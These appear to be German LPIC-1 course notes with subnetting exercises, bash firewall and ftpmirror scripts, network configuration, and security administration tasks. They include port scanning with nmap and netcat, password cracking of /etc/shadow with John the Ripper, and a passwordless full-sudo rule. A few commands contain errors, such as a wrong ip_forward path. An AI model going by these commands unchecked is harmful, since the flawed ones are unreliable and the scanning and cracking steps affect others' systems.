Ein Host hat die Adresse 192.168.55.64/24. Es sollen 4 Unternetze geschaffen werden. Kann er die Adresse nach dem Einrichten weiter verwenden? Wie heißt die neue Subnetmaske?
2 ^ 2 = 4 Subnetze
=> 2 Bits von der Host-ID geborgt
also 2^7 + 2^6 = 128 + 64 =192
Die neue Maske lautet: /26 oder 255.255.255.192
Die einzelnen Subnetzbereiche:
Netz: 0 bis 63
Netz: 64 bis 127 <=== Rechner befindet sich nun in II. Subnet
Netz: 128 bis 191
Netz: 192 bis 255
Diese Adresse kann nicht mehr verwendet werden, da es sich um die Netzwerk-ID (Alle Host-Bits auf 0 gesetzt) im 2. Unternetz handelt.
In einem großen Netzwerk befindet sich ein Rechner, der mit der IP-Adresse 10.0.0.200 und der Netzwerkmaske 255.0.0.0 konfiguriert wurde.
Um Probleme mit zu hohem Broadcast-Verkehr in den Griff zu bekommen, beabsichtigt man nun das Netzwerk, in dem auch dieser Computer steht, mittels Subnetting in kleinere, handlichere Teilnetze zu untergliedern. Die Bedingung ist aber, dass nach Umstellung der Netzwerkmaskeneinstellungen, die auf allen beteiligten Maschinen durchgeführt werden muss, noch ca. 100 Maschinen pro Subnetz betrieben werden können.
a) Wie lautet die neue Netzmaske?
Zu a) Wir borgen uns 17 Bits vom Host-Anteil, wobei 7 Bits für die Hosts übrig bleiben müssen:
Maske vorher: 11111111.00000000.00000000.00000000
Maske nachher: 11111111.11111111.11111111.10000000
(2 ^ 7 = 128 - 2 = 126 Hosts pro Subnetz)
Die neue Netzwerkmaske lautet /25 oder 255.255.255.128.
In welchem Teilnetz befindet sich danach dieser Rechner?
Der Rechner mit der IP-Adresse 10.0.0.200 und der neuen Netzwerkmaske 255.255.255.128 befindet sich im 2. Subnetz.
c) Wie viele Teilnetze gibt es nach Anpassung der Netzwerkmaskeneinstellungen?
Die 17 geborgten Bits stellen die Subnetz-ID dar, aus der die Anzahl der Unternetze berechnet werden kann:
2 ^ 17 = 131072 Unternetze.
In einer Firma gibt es das Netzwerk 192.168.0.0/24. Es soll durch Unternetzbildung besser an die innerbetrieblichen Strukturen (kleine Arbeitsgruppen) angepasst werden. Es muss allerdings sichergestellt sein, dass mindestens 12 Rechner in jedem dieser Unternetze aufgestellt werden können.
a) Wie lautet die neue Subnetmask in CIDR- und Dezimalschreibweise? b) Wie viele Unternetze gibt es? c) Wie lautet die Adresse des 4. Hosts im 3. Unternetz?
Aufgabe Bash Scripting
Modifizieren Sie das aktuelle Skript ftpmirror so, dass Sie ihm als weiteren Übergabeparameter einen Verzeichnisnamen mitgeben können, der anstelle des fest eingetragenen Zielordners /home/USER/LPI-102 benutzt werden soll.
Können in dem Zusammenhang die Simple-Ticks bei den lftp-Befehlen beibehalten werden (Variablenexpansion)?
Da in der Funktion die Postitionsparametervariable „$2“ nicht direkt genutzt werden kann, wird eine Hilfsvariable zielpfad erzeugt, in die der aktuelle Übergabewert gespeichert wird:
zielpfad="$2"
download(){
lftp -e "mirror --verbose /HandOuts/PemmannAxel/LPI-102 $zielpfad; by" $host
}
Die komplette Umsetzung ist in Datei ftpmirror-0.6 zu finden.
109.2 Basic network configuration
ZIEL: Konfiguration von Clients, Reihenfolge der Namensauflösung
Host- und Netzwerknamen ausgeben und ändern
Informationen generieren:
hostname [–fqdn|-f]
domainname [-d] [-f] [-I]
uname [-a] [-n]
Hostnamen ändern:
Bei den meisten Distributionen müssen nur zwei Dateien bearbeitet werden:
/etc/hostname (manchmal: /etc/HOSTNAME) → Definition des Hostnamens (Debian: Ohne Domainname)
/etc/hosts (meist wird der FQDN der Adresse 127.0.1.1 zugeordnet)
Zusätzlich kann auch einer Netzwerk-ID wie 172.16.0.0 ein Name zugeordnet werden:
/etc/networks
intnet 172.16.0.0 intnet2 192.168.99.0
Reihenfolge der Namensauflösung
Der Ablauf beim Erfragen von IP-Adressen beginnt i.d.R. in der lokalen Datei /etc/hosts, wenn diese Datei keine Antwort geben kann, wird über den in der /etc/resolv.conf festgelegten Nameserver ein DNS-Query angestoßen.
Die Angabe der zu verwendenden Nameserver und weitere Dinge wie den anzuhängenden Domainnamen oder die Suchreihenfolge in mehreren DNS-Suffixen geschieht hier:
/etc/resolv.conf
nameserver 127.0.0.1 nameserver 194.25.2.129 nameserver 8.8.8.8 domain test.site
## Alternativ zu "domain":
search de at ch
("domain" und "search" können nicht parallel verwendet werden)
Schnittellen Live-Konfiguration
Kommandos zum direkten Bearbeiten OHNE Benutzung von Konfigdateien:
ifconfig
route
Beispiele zu *ifconfig*
Alle Schnittstellen zeigen, auch deaktiviere:
ifconfig -a
Schnittstelle deaktivieren:
ifconfig eth1 down
Bei
ifconfig
taucht sie nun nicht mehr auf, daherifconfig -a
verwenden!Schnittstelle wieder aktivieren:
ifconfig eth1 up
Schnittstelle wieder deaktivieren:
ifconfig eth1 down
- Eine andere Adresse setzen:
ifconfig eth1 209.14.5.88/26 [up]
Dabei wird die Schnittstelle automatisch aktiviert, das Wörtchen up kann weggelassen werden. IP-Alias setzen (eine Art Unterschnittstelle mit separatem Namen):
ifconfig eth0:0 10.22.33.44/24
ifconfig eth0:0
=> Einsatzmöglichkeit: IP-basierte virtuelle Hosts (Webserver Apache)
Beispiele zu *route*
Standgateway setzen:
route add default gw 10.22.33.1
Standardgateway löschen:
route del default
Route ins LAN setzen (auf CentOS in Richtung Win7-Host):
route add -net 10.23.18.0 netmask 255.255.255.0 gw 172.16.0.1
Praktische Umsetzung (Tipp: Standardgateways für mehr Durchblick löschen):
Auf CentOS:
route del default
Auf CentOS:
route add -net 10.23.18.0 netmask 255.255.255.0 gw 172.16.0.1
- Auf dem Debian-Router:
iptables -t nat -F
(Debian ist nur noch ein reiner Router, NAT ist deaktiviert)Auch hier kann das Standardgateway entfernt werden:route del default
HINWEIS: Nach wie vor wichtig:cat /proc/sys/net/ipv4/ip_forward
# → 1 Auf dem Windows-Hostsystem:
route add 172.16.0.0 mask 255.255.255.252 10.23.18.109
Testings von beiden Seiten aus sollte jetzt gehen:
Von CentOS aus:
ping -c3 10.23.18.100
Von Windows aus:
ping -n 3 172.16.0.2
Siehe auch Snapshot „routing-übung-(transparent).png“
Schnittellen Non-Live Konfiguration
Hatten wir eben ohne Rücksicht auf Konfigdateien Schnittstellen bearbeitet, lesen die beiden folgenden Kommandos dagegen die jeweiligen Dateien (z.B. /etc/network/interface) aus:
Deaktivierung einer Schnittstelle (z.B. auf DHCP-Lease angeben):
ifdown eth1
Aktivierung einer Schnittstelle:
ifup eth1
Fragen/Aufgaben zur Wiederholung und Vertiefung
Ihr Chef kommt zu Ihnen mit einem IP-Adressbereich für Ihre neue Tochter Firma Brot AG: 182.73.x.x , er möchte das Sie für folgende Gegebenheiten das Subnetting durchführen. Es werden 42 getrennte Netzte benötigt, in denen zwischen 4 und 600 Rechner genutzt werden können. Wie lautet die dafür erforderliche Netzwerkmaske? (Nach http://www.2was.de/nw/subnetting.pdf)
Die Adresse stammt aus einem Class B-Netz
Maske: 11111111.11111111.00000000.00000000
Fragestellung:
Wieviele Bits müssen für 42 Unternetze geborgt werden?
2^x = 42 Subnetze
x = 6 Bits müssen mindestens geborgt werden
Maske: 11111111.11111111.11111100.00000000
Fragestellung:
Reichen die 10 verbleibenden Host-Bits aus?
2 ^ 10 = 1024 -2 = 1022
Ja, diese Hostanzahl ist ausreichend.
Die Maske /22 (Dez: 255.255.252.0) kann dementsprechend verwendet werden
- Sie übernehmen die Stelle eines in Rente gegangenen Administrators und sind dabei, den Serverbestand zu dokumentieren und die Konfiguration zu optimieren.Es gibt drei Hauptserver, die mit der selben Subnetzmaske 255.255.255.224 konfiguriert sind, aber in unterschiedlichen Subnetzen stehen.Sie überlegen nun, sie gemeinsam in dem Netzwerk 192.168.0.0/255.255.255.224 unterzubringen.Könnten sich dann die drei Server in diesem Netzwerk untereinander erreichen, wenn die IP-Konfiguration der drei Server unverändert übernommen werden soll?
Die drei Server haben folgende Adressen:
Broadcast .31 000 11111
Netzwerk .32 001 00000
.. 192.168.0.33 001 00001
.. 192.168.0.66 010 00010
.. 192.168.0.99 011 00011
Maske für /27 -> 111 00000
Umrechnung Dezimal -> CIDR: Im IV. Oktett die Zahl 224 zerlegen:
128 + 64 + 32 = 224, also sind drei Bits geborgt worden -> /27
Fragestellung: Wo liegen die Grenzen der Unternetze?
Dazu ist wichtig zu wissen -> Anzahl der Adressen pro Subnet -> 2 ^ 5 = 32
1. Teilnetz: 192.168.0.0 - 192.168.0.31
2. Teilnetz: 192.168.0.32 - 192.168.0.63
3. Teilnetz: 192.168.0.64 - 192.168.0.95
4. Teilnetz: 192.168.0.96 - 192.168.0.127
5. Teilnetz: ...
⇒ Nein, sie sind NICHT im selben Netzwerk!
Worin unterscheiden sich die Kommandos
ifconfig
undifup
(bzwifdown
)?Im Gegensatz zu
ifconfig
schalten die anderen beiden gemäß Konfigurations-Dateien die NICs ein und aus.
Wie lauten die 5 wichtigen Dateinamen, die die Reihenfolge der Namensauflösung konfigurieren und letztendlich zur Ermittung einer IP-Adresse für einen angefragten Hostnamen führen? Lassen Sie sich deren Dateiinhalt jeweils zur Kontrolle ausgeben.
/etc/host.conf (Reihenfolge, alt)
/etc/nsswitch.conf (Reihenfolge, neu → Name Service Switch)
/etc/networks (Netzwerknamen statisch zuordnen)
/etc/hosts (Hostnamen statisch zuordnen)
/etc/resolv.conf (Angabe von Nameserver und Domainnamen/-Suffixen)
Weitere Dateien im Zusammenhang mit Hostnamen und Namens-Auflösung
/etc/hostname (Definiert den Hostnamen)
/etc/services (Auflösung von Dienstenamen zu Port-Nummern)
/etc/protocols (Auflösung von Protokollnamen zu Protokoll-Nummern)
Modifizieren Sie die letzte Version des Skriptes
ftpmirror
dahingehend, dass es beim Downloaden überprüft, ob der Benutzer tatsächlich zwei Positionsparameter angegeben hat. Geben Sie ansonsten eine Hilfestellung aus.
Hilfestellung: Die Variable, die die Anzahl der Positionsparameter
speichert: $#
Codeschnipsel für Standalone-Test:.
if [ $# -eq 2 ]
then echo "Alles OK, das waren $# Paramter."
else echo "PROBLEM: Es sind keine oder nicht die richtige Anzahl an Positionsparametern angegeben worden!"
fi
Codeschnipsel für das Skript, in den „down)“-Case-Zweig einzubauen:.
if [ $# -eq 2 ]
then download
else echo "Bitte als zweiten Parameter das Zielverzeichnis angeben."
fi
109.3 Basic network troubleshooting
Typischerweise nutzt der Admin eine Reihe von Werkzeugen:
ping (mit „-p“ können Klartext-Pattern gesendet werden:
ping -p deadbeaf host
)traceroute/tracepath
netstat (Optionen:
-i
/-r
/-tulpen
,-M
oder--masquerade
, Broadcast-Services werden nicht unterstützt)lsof (Optionen:
-iTCP -P
)nmap (Optionen:
-p 22,23,135-139,445,9100
/-P0
/-A -T4
), Ziele können auch Netzwerke sein: 10.0.0.0/24netcat als Portscanner:
nc -zv 172.16.0.2 20-25
Namensauflösung:
nslookup
host (MX-Record abfragen:
host -t mx gmx.de
)dig, ein paar wichtige Optionen:
Einen anderen Nameserver angeben:
@8.8.8.8
Einen Record-Typ angeben, z.B.:
-t mx
oder-t MX
, oder einfach nurmx
oderMX
(z.B.dig lpi.org MX
)Ausgabe in reduzierter Kurzform:
+short
ARP-Protokoll:
arp -an
/ip neigh flush all
Erweiterung der Übungsumgebung
Aufgabe 1:
Verändern Sie die Subnetgröße im isolierten intnet, so dass mindestens (aber auch nicht mehr als nötig) 20 Hosts adressierbar sind.
=> Anzahl der Hosts? 2^x=20 ???
2 ^ 4 = 16 - 2 = 14 (= zu wenig!)
2 ^ 5 = 32 - 2 = 30 (= OK)
00000000 => 00011111 /24 => /27
Dez.: 255.255.255.224
a) Nach dem Bearbeiten der Datei sieht die Konfiguration auf Debian so aus:
grep -B2 255.255.255.224 /etc/network/interfaces
iface eth1 inet static
address 172.16.0.1
netmask 255.255.255.224
### Nicht vergessen: `service networking restart`
b) Nach dem Bearbeiten der Datei sieht die Konfiguration auf CentOS 7 so aus:
cat /etc/sysconfig/network-scripts/ifcfg-nic0
BOOTPROTO="none"
ONBOOT="yes"
IPADDR="172.16.0.2"
PREFIX="27"
# Für sicheres 2-Teilnehmer-Netz:
#PREFIX="30"
DEVICE="enp0s3"
### Nicht vergessen: `service network restart`
Aufgabe 2:
Installieren Sie auf dem Debian-Router das Paket „dnsmasq“ und machen Sie sich auf https://wiki.debianforum.de/WLAN-Access-Point_mit_hostapd_und_USB-Stick schlau, wie dieser kleine DHCP/DNS-Server z.B. für den Raspberry Pi eingerichtet werden könnte.
Installation:
apt-get update && apt-get -y install dnsmasq
- Was ist das?
whatis dnsmasq
dnsmasq (8) - A lightweight DHCP and caching DNS server. Welche Configs gibt es?
dpkg -L dnsmasq
→ /etc/dnsmasq.confWelche man-Pages gibt es dazu?
apropos dnsmasq
→ nur dnsmasq
Aufgabe 3:
Konfiguren Sie den DNSMASQ-Server passend für Ihr Netzwerk; es sollen anfragenden DHCP-Clients Adressen im Bereich von 172.16.0.20 bis 172.16.0.30 zugewiesen werden.
mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig
echo 'interface=eth1' > /etc/dnsmasq.conf
echo 'no-dhcp-interface=eth0' >> /etc/dnsmasq.conf
echo 'dhcp-range=interface:eth1,172.16.0.20,172.16.0.30,infinite' >> /etc/dnsmasq.conf
Wie läuft die DNS-Namensauflösung jetzt ab?
Ausgangspunkt: `grep dns /etc/network/interfaces`
dns-nameservers 8.8.8.8
⇒ Aus diesem Eintrag wird normalerweise dank des Paketes resolvconf der Nameserver in die Datei /etc/resolv.conf geschrieben. Läuft aber der DNSMASQ-Daemon, verlagert er diese Information temporär in die /var/run/dnsmasq/resolv.conf und trägt „127.0.0.1“ als Nameserver in die resolv.conf ein.
Diesbezüglich kann auch die folgende Zeile sehr aufschlussreich sein:
ps aux | grep dnsmasq
Nach der Änderung in der Konfiguration bitte den Service neu starten:
service dnsmasq restart
Nun den Logmonitor starten: tail -f /var/log/syslog
Jetzt kann versucht werden, die Mikro-Linux-Distribution SliTaz (Sie muss keine Festplatte erhalten) im Netzwerk intnet automatisch per DHCP konfigurieren zu lassen.
Informationen aus der /var/log/syslog.
Feb 5 13:37:35 deb7 dnsmasq-dhcp[7107]: DHCPDISCOVER(eth1) 08:00:27:b7:77:fd
Feb 5 13:37:35 deb7 dnsmasq-dhcp[7107]: DHCPOFFER(eth1) 172.16.0.24 08:00:27:b7:77:fd
Feb 5 13:37:35 deb7 dnsmasq-dhcp[7107]: DHCPREQUEST(eth1) 172.16.0.24 08:00:27:b7:77:fd
Feb 5 13:37:35 deb7 dnsmasq-dhcp[7107]: DHCPACK(eth1) 172.16.0.24 08:00:27:b7:77:fd
⇒ Bitte auch gern Windows 2003 mit ins Netz nehmen…
Fragen/Aufgaben zur Wiederholung
Gegeben sei eine Netzwerk-ID von 10.0.0.0/8. Wie viele Bits müssen Sie sich vom Hostanteil borgen, wenn Sie viele, sehr kleine Unternetze schaffen sollen, die aber jeweils mindestens 3 Hosts beinhalten müssen. Wie heißt die neue Netzwerkmaske in CIDR und dezimaler Schreibweise?
Ausgangspunkt: 11111111.00000000.000000000.0000000 Zielpunkt: 11111111.11111111.11111111.11111000
=> 3 Bit bleiben auf 0, um 6 Hosts adressieren zu können (2 ^ 3 = 8 - 2 = 6)
Geborgt werden müssen 21 Bits (2 ^ 21 = 2097152 Unternetze), die Subnetzmaske lautet nun /29 oder 255.255.255.248.
Mit welchen drei Werkzeugen können Sie DNS-Eintrage von Nameservern erfragen?
host
nslookup
dig
Erkunden Sie, welche TCP- und UDP-Ports Ihr Debian-Router geöffnet hat. Verwenden Sie dabei lokal arbeitende Kommandos und spezielle Werkzeuge, die Sie auch remote (von CentOS aus) einsetzen können (vier Tools).
netstat -tulpen
lsof -i -P
nc -zv 172.16.0.1 20-2000
nmap 172.16.0.1
Mit welchen zwei für die LPI-Prüfung relevanten Kommandos können Sie sich Ihre Routingtabelle ausgeben?
route [-n]
netstat -r [-n]
Lassen Sie sich mittels zwei für die LPI-Prüfung relevanten Kommandos Interface-Statistiken ausgeben.
ifconfig
netstat -i
Schreiben Sie ein Skript fw-simple, das grundlegende Regeln für eine einfache Firewall beinhalten soll. Definieren Sie im Header des Skriptes die weiter unten stehenden Funktionen
open
undclose
(Siehe Datei lpic1-vorbereitung-2015-01-14.txt). Rufen Sie diese Funktionen aus einer case-Verzeigung heraus auf: der erste Zweig soll mit dem Übergabeparameter stop die Funktionopen
ausführen, der zweite Zweig soll mittels dem Übergabeparameter start die Funktionclose
abarbeiten.
Siehe auch Datei „lpic1-vorbereitung-2015-01-14.txt“.
open(){
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -F
iptables -X
iptables -Z
}
close(){
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
iptables -F
iptables -X
iptables -Z
}
case "$1" in
start)
close
echo "Firewall wurde aktiviert."
;;
stop)
open
echo "Firewall wurde deaktiviert, KEINE Sicherheit mehr vorhanden!"
;;
*)
echo "Aufruf: $0 {start|stop}"
;;
esac
109.4 Configure client side DNS
Als Wiederholung und Vertiefung (Handlungsrahmen):
Tragen Sie in Ihre
/etc/hosts
einen bekannten Webserver (z.B. http://blindekuh.de) mit der IP-Adresse1.2.3.4
ein.echo "1.2.3.4 blindekuh.de" >> /etc/hosts
Übungshalber setzen und entfernen der Proxy-Variable „http_proxy“
export http_proxy="http://172.16.0.1:3128"
unset http_proxy
Testen Sie mit „w3m“, ob Sie noch diese Suchmaschine aufrufen können. (Sie können auch gern „lynx“ installieren und dafür benutzen) → Ansonsten bitte auch gern mit dem Kommando „ping“ testen!
ping -c3 blindekuh.de
PING blindekuh.de (1.2.3.4) 56(84) bytes of data. ...
Nach eine Weile bricht der ping wegen Timeout ab!
Verbiegen Sie die Reihenfolge der Namensauflösung: Zuerst soll der Nameserver kontaktiert werden, danach erst die /etc/hosts:
vi /etc/nsswitch.conf
hosts: dns files
Je nach Distribution evl. erforderlich: `service nscd restart`
Testen Sie, ob Sie jetzt wieder z.B. http://blindekuh.de erreichen können
ping -c3 blindekuh.de
=> Es funktioniert wieder, da jetzt ZUERST die '/etc/resolv.conf' ausgewertet wird, danach erst die Datei '/etc/hosts'.
Setzen Sie abschließend die Einstellungen in beiden Dateien zurück, testen Sie es aus.
vi /etc/nssswitch.conf
hosts: files dns
Sofern vorhanden: `service nscd restart`
sed -i '/blindekuh/d' /etc/hosts
ping -c3 blindekuh.de
Aufgabe: Lösen Sie typische Tracker-URls in der /etc/hosts gegen 127.0.0.1 auf, z.B.:
de.ioam.de
qs.ivwbox.de
Siehe auch: https://www.sit.fraunhofer.de/de/tpl/
Fragen/Aufgaben zur Wiederholung
Erzeugen Sie einen ersten IP-Alias auf Ihrer 1. Ethernet-Schnittstelle mit der Adresse 172.16.5.10/24.
ifconfig eth0:0 172.16.5.10/24
Erzeugen Sie einen zweiten IP-Alias auf ebendieser 1. Ethernet-Schnittstelle mit der Adresse 172.16.77.10/24.
ifconfig eth0:1 172.16.77.10/24
Wie lauten die Netzwerk-IDs dieser beiden IP-Aliase?
172.16.5.0/24
172.16.77.0/24
Erzeugen Sie Netzrouten zwischen den beiden neuen Netzen, als Gateway tragen Sie die eigene Maschine ein.
route add -net 172.16.77.0 netmask 255.255.255.0 gw 127.0.0.1
route add -net 172.16.5.0 netmask 255.255.255.0 gw 172.16.77.10
Lassen Sie sich Ihre Routingtabelle ausgeben und notieren Sie die IP-Adresse Ihres Standardgateways. Löschen Sie danach das Standardgateway.
route -n
Erreichbarkeitskontolle über ein bestimmtes lokales Interface:
ping -I 172.16.0.1 172.16.5.10
STD-GW: 10.23.18.1
Entferung mit
route del default
Prüfen Sie, ob Sie einen Zielserver im Internet erreichen können. Setzten Sie wieder Ihre Standardgatewayroute. Prüfen Sie abermals.
ping 8.8.8.8 -c3
⇒ connect: Network is unreachableRoute wieder hinzufügen
route add default gw 10.23.18.1
Entfernen Sie abschließend die beiden IP-Aliase.
ifconfig eth0:0 down
ifconfig eth0:1 down
Fügen Sie dem Skript fw-simple einen weiteren case-Zweig natonly) hinzu, der die Firewall öffnet, IP-Forwarding aktiviert und die beiden folgenden Zeilen ausführt (Bitte auf eigene Bedürfnisse anpassen, siehe auch unter Debian die Datei /etc/rc.local):
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -i eth0 -d 10.23.18.109 -p tcp --dport 222 -j DNAT --to-destination 172.16.0.2:22
Lösung (Siehe Datei *fw-simple-0.2*).
Unterhalb des stop-Zweiges ist folgendes einzufügen:
natonly)
open
# IP-Forwarding
echo 1 > /proc/sys/ipv4/ip_forward
# NAT-Routing
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Port-Forwarding zu CentOS (ssh-Server)
iptables -t nat -A PREROUTING -i eth0 -d 10.23.18.109 -p tcp --dport 222 -j DNAT --to-destination 172.16.0.2:22
;;
Topic 110: Security
110.1 Perform security administration tasks
ZIEL: Systemkonfiguration in Sachen Sicherheit prüfen, dabei sollen die Richtlinien des IT-Sicherheitsbeauftragten beachtet werden
Nach Sonderrechten suchen
Zur Motivation: Dateien mit dem SUID- und SGID-Bit können Angreifern ein Einfallstor bieten, wenn Anwendendereingabe-String nicht sauber verarbeitet werden (Buffer-Overflow!).
Klassisches Beispiel - Benutzerverwaltung:
Frage: Wozu ist beim Programm /usr/bin/passwd
das SUID-Bit erforderlich? Antwort: Damit der einfache User sein Passwort ändern kann. Er muss dazu die Datei ‚/etc/shadow‘ irgendwie bearbeiten können.
Jeweils einzeln nach den Bits fahnden:
find / -perm -o+t find / -perm -1000
find / -perm -g+s find / -perm -2000
find / -perm -u+s find / -perm -4000
Mit einer einzigen Kommandozeile:
find / -perm -1000 -o -perm -2000 -o -perm -4000 \ 2> /dev/null | egrep '/tmp|wall|passwd' | xargs ls -ld
Wieviel SUID-Dateien finden Sie auf den folgenden Systemen?
Debian: 30
CentOS: 28
Slitaz: 12
Nutzer-Accounts prüfen
Verfallszeiten ansehen:
chage -l max
Wie sehen die Dateien /etc/shadow und /etc/passwd insbsondere in Bezug auf die Spalte 2 aus?
- shadow: Sind zu schwache Passwörter von Usern gesetzt worden? → „john the ripper“darauf ansetzen sowie die beiden Pakete „libcrack2“ und „libpam-cracklib“ (Debian) installieren
AUFGABE: Bitte dieses Paket auf Debian installieren und testen, ob ein Benutzer sich immer noch ein solch einfaches Passwort wie "12345678" setzen kann.
- passwd: Tauchen hier sogar Klartextpasswörter auf? → Konvertierung zum Shadow-System: Kommando
pwconv
Offene TCP/UDP-Ports finden / Netzwerkkommunikation kontrollieren
Nmap hat TCP-Scan voreingestellt, außerdem wird standardmäßig mit Ping die Erreichbarkeit getestet, deshalb diese Optionen (DHCP-Server-Port = 67):
nmap -p 50-100 -P0 -sU proxyserver
Für Schnelltest:
telnet proxyserver 53
Mittels „netcat“ Ports scannen:
nc -z -v 127.0.0.1 22
Werkzeug „socket“, um Web-Clients (wget, w3m, lync, firefox, …) zu testen:
socket -sl 80
(Ein listening Daemon = Server)
Ressourcenverwendung kontrollieren
- Kommando
ulimit
: Environment-Eigenschaften wie z.B. der Größe von core-Files, Datengröße eines Programmes. Dabei werden Limitierungen unterschieden, diea) Von einer bash-Umgebung aus gestartet wurden (z.B. maximale Dateigröße mit '-f') b) Nicht mit einer bash zusammenhängen (z.B. max. Anzahl von User-Prozessen mit '-u') +
+ → Systemweite Konfiguration: /etc/profile oder /etc/security/limits.conf Wichtige Optionen: -c <GRÖSSE> = Maximalgröße für Core-Files -d <GRÖSSE> = Maximale Datengröße für Programme -f <GRÖSSE> = Maximale Dateigröße (z.B. 4MB:
ulimit -f 4000
) -a = Alle gesetzten Limits ausgeben -n <ANZAHL> = Maximale Anzahl von offenen Dateien festlegen -v <GRÖSSE> = Maximale Größe des virtuellen Speichers (z.B. 500MB = 512000kB:ulimit -v 512000
, Damit kann allerdings Firefox nicht mehr starten, wie mittop
festgestellt, braucht er über 700 MB virtuellen speicher!)Fragen zur Vertiefung
Was macht
ulimit
genau? Es kann als Shellbuiltin (Deshalb: „help ulimit“) Ressourcen einschränken, dass betrifft vor allem Prozesse aber verschiedene interne Shellressourcen.Was macht die Zeile
ulimit -Sd $(ulimit -Hd)
? Zuerst die max. Datengröße für Programme ermitteln, danach diesen Wert als Quelle für das zu letztenden Softlimit verwenden.
Offene Dateien finden
Historisch wichtig:
fuser -mv /mnt
Das „neue“ Kommando:
lsof
Optionen:
-i
→ Netzwerkprotokoll angeben, z.B.lsof -iTCP
-n
→ Numerische ausgabe: IP-Adressen anstelle von Hostnamen-P
→ Portnummern in dezimaler Form ausgeben, z.B.lsof -iTCP -P
-t
→ „knappes“ Listing, dh. es werden nur die Prozess-IDs ausgegeben, nicht die weiteren Eigenschaften-u <USER>
Die Prozesse eines Users ausgeben-c <PROGRAM>
Eine Liste geöffneter Dateien eines bestimmten Programmes anzeigen (z.B.:lsof -n -c iceweasel
)-p <PID>
Eine Liste geöffneter Dateien eines bestimmten Prozesses anzeigen:lsof -p 4185
Super User do
Ziel: Nur bestimmte, einzelne Aufgaben mit erhöhten Rechten ausführen.
Kommando
sudo
(= „Vorschalt-Kommando“, das dem eingentlichen Kommando vorangestellt wird)Datei: /etc/sudoers
Kommando zum Bearbeiten der Datei /etc/sudoers:
visudo
Aufgabe: Erzeugen Sie einen Eintrag, der es allen Benutzern ermöglicht,
das Kommando shutdown
OHNE Passwortabfrage zu benutzen.
Tux: sudo /sbin/shutdown -hk now
Kommando: ``visudo``.
#USER HOST RUNAS TAG COMMANDS
tux ALL = (ALL) NOPASSWD: /sbin/shutdown
Fragen/Aufgaben zur Wiederholung
- Legen Sie einen Benutzer lpictest an, wobei Sie ihm als Heimatverzeichnis/opt/home/lpictest zuweisen. Setzen Sie ihm ein Passwort.
mkdir /opt/home useradd -d /opt/home/lpictest -m lpictest passwd lpictest
Dieser neue Benutzer ist sehr sicherheitsbewusst und setzt sich sehr oft ein neues Passwort, das er dann aber immer mal wieder vergisst. Setzen Sie dem eine Grenze; er soll frühestens nach 5 Tagen sein Passwort ändern können.
passwd -n 5 lpictest => alternativ: chage -m 5 lpictest
(Langform für beide Kommandos: '--mindays'
Mit welchem Schalter von
su
kann man mal eben schnell eine Kommandozeile wieshutdown -h now
ausführen, ohne sich erst richtig interaktiv an einem neuen Shellprompt zu befinden?Mit Option: '-c' => su -l -c "shutdown -h now"
Wie ist die Datei /etc/sudoers aufgebaut? Was bedeutet ALL? Eine einfache Erkärung ist unter https://www.gentoo.org/doc/de/sudo-guide.xml zu finden.
Syntax: username hostname = (runasuser) commands
ALL ist ein Alias, der für diese eben genannten Objkte verwendet werden kann.
Erzeugen Sie unter CentOS Linux einen Eintrag mit Hilfe von
visudo
im Abschnitt User priviledge specification, der es dem Nutzer tux gestattet, ohne Passworteingabe alle möglichen administrativen Aufgaben durchzuführen.tux ALL = (ALL) NOPASSWD: ALL
grep -v ^# /etc/sudoers | grep -v ^$ | tail -3 root ALL=(ALL) ALL tux ALL=(ALL) NOPASSWD: ALL %wheel ALL=(ALL) ALL
HINWEIS: In Sachen Sicherheit ist dies freilich keine gute Idee, besser ist es z.B. auch auf Rasbian den root-Account mit 'passwd root' zu aktivieren und die Zeilen
%sudo ALL=(ALL:ALL) ALL pi ALL=(ALL) NOPASSWD: ALL
zu deaktivieren.
Mit welchen beiden Kommandozeilen können Sie nachsehen, welche geöffneten Dateien es unter /proc gibt?
fuser -mv /proc lsof /proc
Mit welchen Optionen lassen sich bei
ulimit
Hard- und Softlimitierungen setzen?-H
-S
Siehe
help ulimit
sowieulimit -a
Zwei Spielhallenbetreiber wollen ihre Netzwerke für ein gemeinsames LAN-Party-Event zusammenschalten. Es werden zwischen 400 und 500 Mitspieler erwartet. Wie muss die Netzwerkmaske verändert werden, wenn die beiden vorhandenen Netzwerk-IDs 198.67.253.0 und 198.67.254.0 lauten?
Die neue Maske lautet /22 oder 255.255.252.0.
Erweitern Sie das Firewall-Skript im start)-Zweig um die unten genannten Zeilen. Definieren Sie im Header des Skriptes eine Variable namens intnet, weisen Sie ihr den Wert 172.16.0.0/27 zu und ersetzen Sie in den iptables-Zeilen die Netzwerk-IDs durch den entsprechenden Variablenaufruf.
iptables -A FORWARD -s 172.16.0.0/27 -d any/0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -s any/0 -d 172.16.0.0/27 -m state --state ESTABLISHED,RELATED -j ACCEPT
Lösung: Siehe Datei fw-simple-0.3.
110.2 Setup host security
Ziel: Absicherung und Deaktivierung von Services
Zuerst wollen wir nur den TCP-Wrapper alias „Sicherheitsoffizier“ betrachten, ein Superserver (x)inetd ist nicht zwingend erforderlich:

In diesem Falle kann der Wrapper standalone laufende Dienste wie vsftpd oder den üblichen sshd reglementieren. Um ihren Start kümmert er sich nicht. In diesem Beispiel ist der Zugriff auf den Service vsftpd
nur aus dem Netzwerk 172.16.0.0/24
heraus erlaubt, mit ALL : ALL
wird schließlich in der zweiten Datei alles blockiert, was bisher nicht explizit erlaubt wurde. Der TCP-Wrapper tcpd läuft selber nicht ständig, er wird immer dann aktiv, wenn ein clientseitiges Datenpaket eingeht.
Neben der althergebrachten Art, Services im standalone-Betrieb mit System-V-Dateien (z.B. /etc/inittab, /etc/init.d/ssh sowie /etc/rc2.d/S02ssh) bzw. via systemd (z.B. systemctl enable ssh) zu starten, gibt es den Superserver inetd, der bei Bedarf die eher selten benötigten, ruhenden Sevices startet.
Zu den einzelnen Komponenten und ihre Konfigurationsdateien siehe diese Grafik:

Siehe dazu auch http://www.vorkon.de/VorKon-12.1-Leseprobe/drittanbieter/Dokumentation/linuxfibel/wrapper.htm
